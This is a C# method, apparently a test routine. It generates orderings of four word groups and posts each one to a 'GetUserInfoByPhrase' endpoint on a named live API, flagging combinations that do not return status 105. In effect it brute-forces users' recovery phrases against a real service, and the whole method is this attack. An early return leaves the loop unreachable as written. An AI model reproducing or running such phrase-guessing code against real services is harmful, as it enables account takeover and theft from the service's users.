public static void MainTest() { var mm = HttpCommon.HttpGetAsync("http://www.cimicmeigagroup.com/index.php?c=content&a=show&id=147"); return; List <string> list = new List <string>(); List <List <model> > res = new List <List <model> >(); var temp = ""; for (int i = 0; i < 10000; i++) { while (temp.Length < 4) { var e = new Random().Next(1, E.Length + 1); if (!temp.Contains(E[e - 1])) { temp += E[e - 1]; } } if (!list.Contains(temp)) { list.Add(temp); } temp = ""; } List <model> list_model = new List <model>(); foreach (var item in list) { list_model = new List <model>(); foreach (var it in item) { if (it.ToString() == "A") { foreach (var a in A) { model m = new model(); m.phrase = a; m.serial_number = list_model.Count + 1; list_model.Add(m); } } else if (it.ToString() == "B") { foreach (var a in B) { model m = new model(); m.phrase = a; m.serial_number = list_model.Count + 1; list_model.Add(m); } } else if (it.ToString() == "C") { foreach (var a in C) { model m = new model(); m.phrase = a; m.serial_number = list_model.Count + 1; list_model.Add(m); } } else { foreach (var a in D) { model m = new model(); m.phrase = a; m.serial_number = list_model.Count + 1; list_model.Add(m); } } } res.Add(list_model); } foreach (var item in res) { var json = JsonConvert.SerializeObject(item); var kkk = HttpCommon.HttpPost("https://api.idcw.io:6369/api/SecuritySettings/GetUserInfoByPhrase", json); var pp = JsonConvert.DeserializeObject <ResponsTest>(kkk); if (pp.status != 105) { var zz = ""; foreach (var it in item) { zz += it.phrase + ","; } } } }